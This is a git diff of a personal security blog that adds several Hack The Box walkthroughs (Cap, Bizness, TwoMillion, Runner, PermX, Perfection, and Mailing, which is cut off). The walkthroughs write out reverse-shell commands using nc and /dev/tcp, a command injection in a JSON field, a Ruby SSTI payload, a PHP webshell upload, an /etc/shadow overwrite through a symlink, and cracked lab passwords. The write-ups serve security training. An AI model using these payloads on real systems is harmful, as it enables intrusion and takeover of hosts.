diff --git a/_config.yml b/_config.yml index c99b42f..5dcc94d 100644 --- a/_config.yml +++ b/_config.yml @@ -9,37 +9,37 @@ theme: jekyll-theme-chirpy lang: en # Change to your timezone › https://kevinnovak.github.io/Time-Zone-Picker -timezone: +timezone: America/Monterrey # jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md # ↓ -------------------------- -title: Chirpy # the main title +title: RaCc0x # the main title -tagline: A text-focused Jekyll theme # it will display as the subtitle +tagline: A blog about security, CTF writeups, Pro Labs, researches and more | Prepare for ECPPT, CPTS & OSCP certified description: >- # used by seo meta and the atom feed - A minimal, responsive and feature-rich Jekyll theme for technical writing. + A blog about security, CTF writeups, Pro Labs, researches and more. # Fill in the protocol & hostname for your site. # E.g. 'https://username.github.io', note that it does not end with a '/'. -url: "" +url: "https://racc0x.github.io" github: - username: github_username # change to your GitHub username + username: racc0x # change to your github username twitter: - username: twitter_username # change to your Twitter username + username: dreii042 # change to your twitter username social: # Change to your full name. # It will be displayed as the default author of the posts and the copyright owner in the Footer - name: your_full_name - email: example@domain.com # change to your email address + name: racc0x + email: racc0xyz@gmail.com # change to your email address links: # The first element serves as the copyright owner's link - - https://twitter.com/username # change to your Twitter homepage - - https://github.com/username # change to your GitHub homepage + - https://twitter.com/dreii042 # change to your twitter homepage + - https://github.com/racc0x # change to your github homepage # Uncomment below to add more social links # - https://www.facebook.com/username # - https://www.linkedin.com/in/username @@ -98,7 +98,7 @@ theme_mode: # [light | dark] cdn: # the avatar on sidebar, support local or CORS resources -avatar: +avatar: "/assets/img/inspectorardilla.jpg" # The URL of the site-wide social preview image used in SEO `og:image` meta tag. # It can be overridden by a customized `page.image` in front matter. diff --git a/_posts/2021-05-06-cap.md b/_posts/2021-05-06-cap.md new file mode 100644 index 0000000..a1b1eaf --- /dev/null +++ b/_posts/2021-05-06-cap.md @@ -0,0 +1,135 @@ +--- +title: HTB - Cap +date: 2021-05-06 00:00:00 +8000 +categories: [hackthebox ] +tags: [HackTheBox, Information Disclosure, CVE-2021-4034, tcpdump] +image: + path: /assets/img/post/cap/Cap.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Cap. +--- + +## Box Info + +| Name | Cap | +| :-------------------- | ---------------: | +| Release Date | 5 Jun, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + + +## Ping + +```bash +ping -c 3 10.10.10.245 + +PING 10.10.10.245 (10.10.10.245) 56(84) bytes of data. +64 bytes from 10.10.10.245: icmp_seq=1 ttl=63 time=55.6 ms +64 bytes from 10.10.10.245: icmp_seq=2 ttl=63 time=55.9 ms +64 bytes from 10.10.10.245: icmp_seq=3 ttl=63 time=54.8 ms +``` + +`ttl=63 -> Linux System` + +## Nmap + +```bash +nmap -p- --open --min-rate 5000 -n -sS -vvv -Pn 10.10.10.245 +``` + +```bash +PORT STATE SERVICE VERSION +21/tcp open ftp vsftpd 3.0.3 +22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA) +| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA) +|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519) +80/tcp open http gunicorn +| fingerprint-strings: +| FourOhFourRequest: +| HTTP/1.0 404 NOT FOUND +| Server: gunicorn +| Date: Sat, 22 May 2021 10:51:48 GMT +| Connection: close +| Content-Type: text/html; charset=utf-8 +| Content-Length: 232 +| +| 404 Not Found +|

Not Found

+|

The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.

+| GetRequest: +| HTTP/1.0 200 OK +| Server: gunicorn +| Date: Sat, 22 May 2021 10:51:42 GMT +| Connection: close +| Content-Type: text/html; charset=utf-8 +| Content-Length: 19386 +| +| +| +...[snip]... +SF:eck\x20your\x20spelling\x20and\x20try\x20again\.

\n"); +Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel +``` + +![Image](../assets/img/post/cap/image.png) + +data/1 + +![Image](../assets/img/post/cap/image-1.png) + +I starter with a scan directoriy but dont foudn anything interesting + +![Image](../assets/img/post/cap/image-2.png) + +## Information Disclosure + +```bash +ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u 'http://10.10.10.245/data/FUZZ' -fs 208 +``` + +![Image](../assets/img/post/cap/image-3.png) + +I download those and i test one by one to found sensitive data + +![Image](../assets/img/post/cap/image-4.png) + +```bash +tcpdump -qns 0 -X -r 0.pcap +``` + +**User:** + +![Image](../assets/img/post/cap/image-5.png) + +**Password:** + +![Image](../assets/img/post/cap/image-6.png) + +`nathan` + +`Buck3tH4TF0RM3!` + + +**Login with ssh** + +![Image](../assets/img/post/cap/image-7.png) + +## Escalation Privilege | CVE-2021-4034 + +```BASH +find / -perm -4000 2>/dev/null +``` + +![Image](../assets/img/post/cap/image-8.png) + +We found a bin interesting called pkexec. Looking if the pkexec has a vulnerability, i find a CVE-2021-4034 + +https://github.com/ly4k/PwnKit + +We upload the file PwnKit and exploit as nathan and BOOM! + +![Image](../assets/img/post/cap/image-9.png) + +Pwned!! \ No newline at end of file diff --git a/_posts/2024-01-01-bizness.md b/_posts/2024-01-01-bizness.md new file mode 100644 index 0000000..c88a61e --- /dev/null +++ b/_posts/2024-01-01-bizness.md @@ -0,0 +1,94 @@ +--- +title: HTB - Bizness +date: 2024-08-13 12:17:34 -0400 +categories: [hackthebox , Bizness] +tags: [hackthebox, Apache, OFBiz,dirsearch,nmap,cracking,enumeration,hashcat,htb-bizness,ctf,CVE-2023-49070,linux] +image: + path: /assets/img/post/bizness-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Bizness. +--- + +## Box Info + +| Name | Bizness | +| :-------------------- | ---------------: | +| Release Date | 06 Jan, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## Enumeration + +```bash +nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.252 -oG allports +nmap -sCV -p 22,80,443,40117 10.10.11.252 -oN targeted +``` + +![Image](/assets/img/post/bizness1.png) + +## Add the domain to /etc/hosts + +```bash +echo "10.10.11.252 bizness.htb | sudo tee -a /etc/hosts/ +``` +![Image](/assets/img/post/bizness2.png) + +## Brute Force Directory + +```bash +dirsearch -u http://bizness.htb/ +``` +![Image](/assets/img/post/bizness3.png) + +## OFBiz + +The website is using a technology called `OFBiz` with version `18.12`, the current version is out date. + +![Image](/assets/img/post/bizness4.png) + +## Apache OFBiz 18.12 CVE-2023-49070 + +![Image](/assets/img/post/Bizness5.png) + +[***Apache-OFBiz-Authentication-Bypass***](https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass) + +We used the exploit to authenticate ourselves. + +```bash +python3 exploit.py --url https://bizness.htb:443 --cmd 'nc -e /bin/bash 10.10.14.16 7777' +``` + +```bash +nc -lvnp 7777 +``` + +![Image](/assets/img/post/bizness6.png) + +## Enumeration linux + +Before launching this search, I found a location where the OFBiz folder was located and performed searches that contain admin. +I searched recursively using grep, using options like -Rail, and to specify the word I used -e. + +```shell +grep -Rail -e 'admin$' /top/ofbiz/runtime/data/derby/ofbiz/seg0 +``` + +![Image](/assets/img/post/bizness7.png) + +We came across a lot of data, so we have to go through each one by one. + +We find a user and the hash + +![Image](/assets/img/post/bizness8.png) + +## Cracking Hash + +We will use the Go hash matcher script to crack the password. + +[**Go-Hash-Matcher**](https://github.com/IamLucif3r/Go-Hash-Matcher?source=post_page-----68713a41f98b--------------------------------) + +![Image](/assets/img/post/bizness9.png) + +Once we have the password, we log in at the `root` + +![Image](/assets/img/post/bizness10.png) \ No newline at end of file diff --git a/_posts/2024-01-03-twomillion.md b/_posts/2024-01-03-twomillion.md new file mode 100644 index 0000000..a1734b9 --- /dev/null +++ b/_posts/2024-01-03-twomillion.md @@ -0,0 +1,214 @@ +--- +title: HTB - TwoMillion +date: 2023-06-07 12:17:34 -0400 +categories: [hackthebox , TwoMillion] +tags: [HackTheBox, API endpoints, API, CVE-2023-0386, nmap, web, rot13, curl,OverlaysFS Fuse] +image: + path: /assets/img/post/twomillion/twomillion-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - TwoMillion. +--- + +## Box Info + +| Name | Bizness | +| :-------------------- | ---------------: | +| Release Date | 07 Jun, 2023 | +| OS | Linux | +| Rated Difficulty | Easy | + +## Enumeration + +### Nmap + +```bash +nmap -p- --min-rate 5000 -n -sS -vvv -Pn 10.10.11.221 -oG allPorts +nmap -sCV -p 22,80 10.10.11.221 -oN targeted +``` + +![Image](/assets/img/post/twomillion/0.png) + +### Resolution DNS + +```bash +echo "10.10.11.221 twomillion.htb | sudo tee -a /etc/hosts" +``` + +![Image](/assets/img/post/twomillion/1.png) + +## Web + +When hover the mouse over "`here`" show it us the link to goes. + +![Image](/assets/img/post/twomillion/2.png) + +Looking in dom i found this path from a API and the instruction of how script works + +![Image](/assets/img/post/twomillion/3.png) + +![Image](/assets/img/post/twomillion/4.png) + +Url decode for read more comfort: + +```js +function verifyInviteCode(code){ +var formData = {"code":code}; +$.ajax({ +type: "POST", +url: '/api/v1/invite/verify', +dataType: 'json', +data: formData, +success: function(response){ +console.log(response); +}, +error: function(response){ +console.log(response); +} +}); +} + +function makeInviteCode(){ +$.ajax({ +type: "POST", +url: '/api/v1/invite/how/to/generate', +dataType: 'json', +success: function(response){ +console.log(response); +}, +error: function(response){ +console.log(response); +} +}); +} +``` + +Theres a interesting function called makeInviteCode so we gonna execute this function on console from inspection web. + +![Image](/assets/img/post/twomillion/5.png) + +If i click in the object it show us something interesting encrypte in `ROT13` + +![Image](/assets/img/post/twomillion/6.png) + +We can decrypt rot13 with some web page for that + +![Image](/assets/img/post/twomillion/7.png) + +`"In order to generate the invite code, make a POST request to /api/invite/generate"` + +```bash +curl -s -X POST "http://2million.htb/api/v1/invite/generate" +``` + +With `curl` can send a POST method for generate the invite code. + +![Image](/assets/img/post/twomillion/8.png) + +And the API it generate us an code in base64, it can decrypt with base64[^code] and use it for registration us web and login. + +![Image](/assets/img/post/twomillion/9.png) + +![Image](/assets/img/post/twomillion/10.png) + +Looking in the web, I found a path in api/v1 + +![Image](/assets/img/post/twomillion/11.png) + +## API + +Abusing again the API we send a request in method GET with the Cookie + +```bash +`curl -s -X GET "http://2million.htb/api/v1" -H "Cookie: PHPSESSID=avhllptt4vvs1rbocvart3ue9b"` +``` + +![Image](/assets/img/post/twomillion/12.png) + +```bash +curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" | jq +``` + +![Image](/assets/img/post/twomillion/13.png) + +```bash +curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com"}' | jq +``` + +![Image](/assets/img/post/twomillion/14.png) + +```bash +curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "True"}' | jq +``` + +![Image](/assets/img/post/twomillion/15.png) + +```bash +curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json" -d '{"email": "jack@jack.com", "is:admin": "1"}' | jq +``` + +![Image](/assets/img/post/twomillion/16.png) + +```bash +curl -s -X GET "http://2million.htb/api/v1/admin/auth" -H "Cookie: PHPSESSID=" +``` + +![Image](/assets/img/post/twomillion/17.png) + +```bash +curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": "jack"}' | jq +``` + +![Image](/assets/img/post/twomillion/18.png) + +![Image](/assets/img/post/twomillion/19.png) + +```bash +curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";whoami;"}' +``` + +![Image](/assets/img/post/twomillion/20.png) + +```bash +curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";ls;"}' +``` + +![Image](/assets/img/post/twomillion/21.png) + +```bash +curl -s -X POST "http://2million.htb/api/v1/admin/vpn/generate" -H "Cookie: PHPSESSID=" -H "Content-Type: application/json' -d '{"username": ";bash -c \"bash -i >& /dev/tcp/10.10.14.88/443 0>&1\" #"}' +``` + +![Image](/assets/img/post/twomillion/22.png) + +```bash +rlwrap nc -lvnp 443 +``` + +![Image](/assets/img/post/twomillion/23.png) + +Enumerate linux we can see a folder with the name .env this contain a credentials in plane text. We are a www-data so we need + +![Image](/assets/img/post/twomillion/24.png) + +admin SuperDuperPass123 + +When we login the first appear is mail, this mail is lcoated in /var/mail + +![Image](/assets/img/post/twomillion/25.png) + +## CVE-2023-0386 + +Well, the mail says everything... Google it. + +![Image](/assets/img/post/twomillion/26.png) + +Search in google "OverlaysFS Fuse linux kernel and the fisrt poc i found is this `CVE-2023-0386`[^cve] + +![Image](/assets/img/post/twomillion/27.png) + +ROOT + +### Source + +[^code]: +[^cve]: \ No newline at end of file diff --git a/_posts/2024-01-04-runner.md b/_posts/2024-01-04-runner.md new file mode 100644 index 0000000..cb4f27e --- /dev/null +++ b/_posts/2024-01-04-runner.md @@ -0,0 +1,157 @@ +--- +title: HTB - Runner +date: 2023-06-07 12:17:34 -0400 +categories: [hackthebox , Runner] +tags: [HackTheBox, Port Forwarding, wfuzz, TeamCity, ssh, john, chisel, portainer, docker,fuzz] +image: + path: /assets/img/post/runner/runner-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Runner. +--- + +## Box Info + +| Name | Bizness | +| :-------------------- | ---------------: | +| Release Date | 08 Jun, 2024 | +| OS | Linux | +| Rated Difficulty | Medium | + +## Enumeration + +### Nmap + +![Image](/assets/img/post/runner/0.png) + +### Resolution DNS + +```bash +echo "10.10.11.13 runner.htb | sudo tee -a /etc/hosts +``` + +### Scanning SubDomain + +```bash +wfuzz -c -w /usr/share/wordlists/amass/shubs-subdomains.txt --hc 400,404,403,302 -H "Hosts: FUZZ.runner.htb" -u http://runner.htb -t 100 +``` + +![Image](/assets/img/post/runner/1.png) + +```bash +Whatweb http://runner.htb +``` +## CVE-2023-42793 for Jet Brains + +We can see the version of `TeamCity build management server`. + +![Image](/assets/img/post/runner/2.png) + +Googling `Teamcity 2023.05.3` exploit i found a `RCE` vulnerability for it. + +![Image](/assets/img/post/runner/3.png) + +PoC[^poc]: + +```bash +python3 exploit.py -u http://teamcity.runner.htb -n test2 -p test122 -e test2@test.com +``` + +![Image](/assets/img/post/runner/4.png) + +The script exploits to create an admin account on a TeamCity server. It sends a POST request to the target URL to create an admin user with specified or random credentials. + +![Image](/assets/img/post/runner/5.png) + +## SSH + +Once inside, I enumerate these sections and found in Diagnostics make a backup and storage in a zip file and can we display the folders and found id_rsa. + +![Image](/assets/img/post/runner/6.png) + +We go to download and save for login with ssh. + +![Image](/assets/img/post/runner/7.png) + +Wait.. but dont have a user for login with ssh... + +![Image](/assets/img/post/runner/8.png) + +We also found users and there hashes in same folder. + +![Image](/assets/img/post/runner/9.png) + +## Crack Hash + +We go to crack the password for it. + +![Image](/assets/img/post/runner/10.png) + +```bash +john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hash.txt +``` +Using default input encoding: UTF-8 Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) Remaining 1 password hash Cost 1 (iteration count) is 128 for all loaded hashes Will run 2 OpenMP threads + +Password: `piper123` + +Till now we have one id_rsa file, two users (Methew, jhon),password for Methew. + +`ssh -i id_rsa john@10.10.11.13` + +![Image](/assets/img/post/runner/12.png) + +![Image](/assets/img/post/runner/11.png) + +## Port Forwarding + +```bash +netstat -nltp +ss -nltpu +``` + +127.0.0.1:9000 its potential, I’ll be employing Chisel for port forwarding. + +![Image](/assets/img/post/runner/13.png) + +```bash +chisel server -p 6150 --reverse (Attack Machine) +./chisel client 10.10.14.68:6150 R:9000:127.0.0.1:9000 (Victim machine) +``` + +![Image](/assets/img/post/runner/14.png) + +We go to our port 9000 + +![Image](/assets/img/post/runner/15.png) + +## Docker + +Login with credentials `matthew` - `piper123` + + + +![Image](/assets/img/post/runner/16.png) + +## CVE-2024-21626 for Docker + +![Image](/assets/img/post/runner/17.png) + +the path `/proc/self/id/8` is from the [CVE-2024-21626](https://nitroc.org/en/posts/cve-2024-21626-illustrated/#how-docker-engine-calls-runc) - [PoC - GitHub](https://github.com/NitroCao/CVE-2024-21626?tab=readme-ov-file) + +![Image](/assets/img/post/runner/18.png) + +Now we go to console + +![Image](/assets/img/post/runner/19.png) + +Execute a `/bin/bash` as root + +![Image](/assets/img/post/runner/20.png) + +Just login as root and look the folder `root` for the flag + +![Image](/assets/img/post/runner/21.png) + +Root + +#### Source +[^poc]: \ No newline at end of file diff --git a/_posts/2024-01-05-permx.md b/_posts/2024-01-05-permx.md new file mode 100644 index 0000000..7c36158 --- /dev/null +++ b/_posts/2024-01-05-permx.md @@ -0,0 +1,167 @@ +--- +title: HTB - PermX +date: 2023-06-07 12:17:34 -0400 +categories: [hackthebox , PermX] +tags: [HackTheBox,Chamilo LMS,CVE-2023-4220,mysql,symlink,curl ] +image: + path: /assets/img/post/permx/PermX.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - PermX. +--- + +## Box Info + +| Name | Bizness | +| :-------------------- | ---------------: | +| Release Date | 20 Jun, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## Enumeration + +### Nmap + +![Image](/assets/img/post/permx/image.png) + +#### whatweb: + +![Image](/assets/img/post/permx/2.png) + +#### Wappalyzer + +![Image](/assets/img/post/permx/4.png) + +### Web + +![Image](/assets/img/post/permx/3.png) + +#### Brute Forcing directory + +I use + +```bash +dirsearch -u http://permx.htb/ +``` + + but i dont find anything interesting, So i use the Scan for Subdomain + +#### SubDomain + +```bash +wfuzz -c -w /usr/share/wordlists/amass/subdomains-top1mil-5000.txt --hc 400,403,404,302 -H "Host: FUZZ.permx.htb" -u http://permx.htb -t 100 +``` + +![Image](/assets/img/post/permx/5.png) + +Search for chamilo in google. + +### Chamilo LMS - CVE-2023-4220 + +![Image](/assets/img/post/permx/6.png) + +RCE: +```bash +echo '& /dev/tcp/10.10.10.13/9001 0>&'"); ?>' > rce.php +``` + +```bash +curl -F 'bigUploadFile=@rce.php' 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' +`The file has successfully been uploaded.` +``` + +```bash +curl 'http:///main/inc/lib/javascript/bigupload/files/rce.php' +`uid=33(www-data) gid=33(www-data) groups=33(www-data)` +``` + +![Image](/assets/img/post/permx/7.png) + +We go to open the file through web. + +![Image](/assets/img/post/permx/8.png) + +Execute the file .php `http://lms.permx.htb//main/inc/lib/javascript/bigupload/files/rce.php` with `lvwrap nc -lvnp 7777` listening for get the reverse shell + +![Image](/assets/img/post/permx/9.png) + +taadaaa... Well, we login as `www-data` and we go to enumerate... +I found in config folder a file `configuration.php` and show it us a user and password. + +Till now we have one user:`chamilo` and password:`03f6lY3uXAP2...`. + +![Image](/assets/img/post/permx/10.png) + +`netstat -nlp` or `netstat -ano` and we see one port strange and is port 3306 it is open for the database. + +![Image](/assets/img/post/permx/11.png) + +Use the mysql inside in the victim machine. + +```bash +mysql -uchamilo -p and the password 03F6lY3uXAP2bkW8 +``` +![Image](/assets/img/post/permx/12.png) + +```text +show databases; +use chamilo; +describe user; +select user_id,username,firstname,lastname,password,salt from user; +``` + +![Image](/assets/img/post/permx/13.png) + +We login with ssh `mtz@permx.htb` and password `03F6lY3uXAP2bkW8` + +![Image](/assets/img/post/permx/14.png) + +`sudo -l` + +![Image](/assets/img/post/permx/15.png) + +## Symlink (Symbolic Link Attack) + +The directory `/etc/init.d`{: .filepath} is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`{: .filepath}. An alternative path in Redhat systems is `/etc/rc.d/init.d`{: .filepath}. + +Its main function is to change all file permissions, but it must be in the `/home/mtz` directory. + +![Image](/assets/img/post/permx/16.png) + +[Symlink Español](https://www.freecodecamp.org/espanol/news/tutorial-de-enlace-simbolico-en-linux-como-crear-y-remover-un-enlace-simbolico/) +[Symlink Hacktricks](https://book.hacktricks.xyz/pentesting-web/file-upload#symlink) + +```bash +link soft / to cc +ln -s / cc +``` + +Create a folder that points to the root path with Symlink with the -s (soft) option to locate ourselves inside it and make changes to `/etc/shadow`{: .filepath} (root password) with a password that we create ourselves (cccc). + +![Image](/assets/img/post/permx/17.png) + +The `/etc/shadow`{: .filepath} storage the password of root + +```bash +sudo /opt/acl.sh mtz rwx /home/mtz/etc/shadow (execute the script for change the permissions) +``` + +![Image](/assets/img/post/permx/18.png) + +Generated a password for remplace the root password in `/etc/shadow`{: .filepath} + +```bash +openssl passwd -6 cccc +``` + +![Image](/assets/img/post/permx/19.png) + +and copy and paste en the file `"shadow"` + +```bash +echo 'root: {password generate}:19871:0:99999:7:::' > /home/mtz/cc/etc/shadow +``` +Login as root with password cccc + +![Image](/assets/img/post/permx/20.png) + +`Root` \ No newline at end of file diff --git a/_posts/2024-01-06-perfection.md b/_posts/2024-01-06-perfection.md new file mode 100644 index 0000000..2c68f44 --- /dev/null +++ b/_posts/2024-01-06-perfection.md @@ -0,0 +1,131 @@ +--- +title: HTB - Perfection +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Perfection] +tags: [HackTheBox, SSTI, sudo, nmap, hashcat ] +image: + path: /assets/img/post/perfection/Perfection.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Perfection. +--- + +## Box Info + +| Name | Perfection | +| :-------------------- | ---------------: | +| Release Date | 02 Mar, 2024 | +| OS | Linux | +| Rated Difficulty | Easy | + +## Enumeration + +```bash +nmap -p- --open --min-rate 5000 -n -sS -vvv -Pn 10.10.11.253 -oG allPorts +nmap -sCV -p 22,80 10.10.11.253 -oN targeted +``` + +![Image](/assets/img/post/perfection/0.png) + +#### Resolution DNS + +```bash +echo "10.10.11.253 perfection.htb" | sudo tee -a /etc/hosts +``` + +#### Technology + +```text +whatweb http://perfection.htb +``` + +![Image](/assets/img/post/perfection/1.png) + +## Web + +![Image](/assets/img/post/perfection/2.png) + +The web is powered by WEBrick version 1.7.0, `WEBrick is a Ruby library providing simple HTTP web servers`{: filepath} + +![Image](/assets/img/post/perfection/3.png) + +Well, if you intercept the request u can see something like this `category1=literature` but if u try to this `category1=$` get a redirect with a text "Malicious text blocked". + +We can do with ffuf an scan for get a list of blocked characters. + +```bash +ffuf -u http://10.10.11.253/weighted-grade-calc -d 'category1=FUZZ&grade1=90&weight1=30&category2=poop&grade2=100&weight2=50&category3=poop&grade3=100&weight3=20&category4=N%2FA&grade4=0&weight4=0&category5=N%2FA&grade5=0&weight5=0' -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -mr Malicious +``` + +But what happens if a url encode the input? + +```text +category1= poop%0aFUZZ &grade1=90&weight1=30&category2=poop&grade2=100&weight2=50&category3=poop&grade3=100&weight3=20&category4=N%2FA&grade4=0&weight4=0&category5=N%2FA&grade5=0&weight5=0' -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -mr Malicious +``` + +`%0a`— represents a newline character, used to `bypass input validation`. + +The first thing I think is that there may be an SSTI. +We go look to in payloadallthethings if there is something for ruby + +[PaylaodsAllTheThings-Ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby---basic-injections) + +![Image](/assets/img/post/perfection/pay.png) + +`hURL` _to encode and decode payloads showcases the manipulation of data to exploit web application vulnerabilities. The payload crafted for the Weighted Grade Calculator application is designed to execute a reverse shell command, taking advantage of any potential server-side code execution vulnerabilities_ + +```shell +hURL -B "bash -i >& /dev/tcp/10.10.14.78/7777 0>&1" (base64) +``` + +```shell +hURL -U "{_stringbase64_}" (URLencoded) +``` + +![Image](/assets/img/post/perfection/5.png) + +#### Payload +```text +category1=poop%0a<%25=system("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC40OC83Nzc3IDA%2BJjE%3D|+base64+-d+|+bash");%25>1 +``` + +![Image](/assets/img/post/perfection/6.png) + +Or use the payload `<%= IO.popen('id').readlines() %>` and urlencoded. + +![Image](/assets/img/post/perfection/IO.png) + +[Hacktricks-SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#erb-ruby) + +```bash +<%= IO.popen('bash -i >& /dev/tcp/10.10.14.78/7777 0>&1').readlines() %> +``` + +![Image](/assets/img/post/perfection/7.png) + +Enumerating found the file .db and got the credentials. + +_A string is any sequence of 4 or more printable characters .db_ + +![Image](/assets/img/post/perfection/8.png) + +## Privilege Escalation + +![Image](/assets/img/post/perfection/9.png) + +### Hashcat + +```bash +hashcat -m 1400 hash.txt -a 3 "susan_nasus_?d?d?d?d?d?d?d?d" +``` + +![Image](/assets/img/post/perfection/10.png) + +![Image](/assets/img/post/perfection/11.png) + +```text +susan_nasus_413759210 +``` + +![Image](/assets/img/post/perfection/12.png) + +Root \ No newline at end of file diff --git a/_posts/2024-01-07-mailing.md b/_posts/2024-01-07-mailing.md new file mode 100644 index 0000000..b083c82 --- /dev/null +++ b/_posts/2024-01-07-mailing.md @@ -0,0 +1,245 @@ +--- +title: HTB - Mailing +date: 2024-02-02 12:17:34 -0400 +categories: [hackthebox , Mailing] +tags: [HackTheBox, Impacket, wmiexec, NTLM, CVE-2024-21413, telnet, Evil-winrm, smb, more, nmap, hashcat, Dump Sam Hash, ] +image: + path: /assets/img/post/mailing/Mailing-card.png + lqip: data:image/webp;base64,UklGRpoAAABXRUJQVlA4WAoAAAAQAAAADwAABwAAQUxQSDIAAAARL0AmbZurmr57yyIiqE8oiG0bejIYEQTgqiDA9vqnsUSI6H+oAERp2HZ65qP/VIAWAFZQOCBCAAAA8AEAnQEqEAAIAAVAfCWkAALp8sF8rgRgAP7o9FDvMCkMde9PK7euH5M1m6VWoDXf2FkP3BqV0ZYbO6NA/VFIAAAA + alt: Hack the Box - Mailing. +--- + +## Box Info + +| Name | Mailing | +| :-------------------- | ---------------: | +| Release Date | 02 Mar, 2024 | +| OS | Windows | +| Rated Difficulty | Easy | + +## **Enumeration** + +```bash +nmap -p- --open --min-rate 5000 -sS -n -vvv -Pn 10.10.11.14 -oG allPorts +``` + +![Image](/assets/img/post/mailing/1.png) + +![Image](/assets/img/post/mailing/2.png) +ExtractPorts + +```bash +nmap -sCV -p 25,80,110,135,139,143,445,465,587,993,5040,5985,7680,47001... 10.10.11.14 -oN targeted + ``` +![Image](/assets/img/post/mailing/3.png) +![Image](/assets/img/post/mailing/4.png) +![Image](/assets/img/post/mailing/5.png) + +#### **Adding Domain to Hosts File** + +```bash +echo "10.10.11.14 mailing.htb" | sudo tee -a /etc/hosts +``` + +![Image](/assets/img/post/mailing/6.png) + +![Image](/assets/img/post/mailing/7.png) + +## **Information Gathering** + +Below the website you can download a pdf file. + +![Image](/assets/img/post/mailing/8.png) + +the file download has this 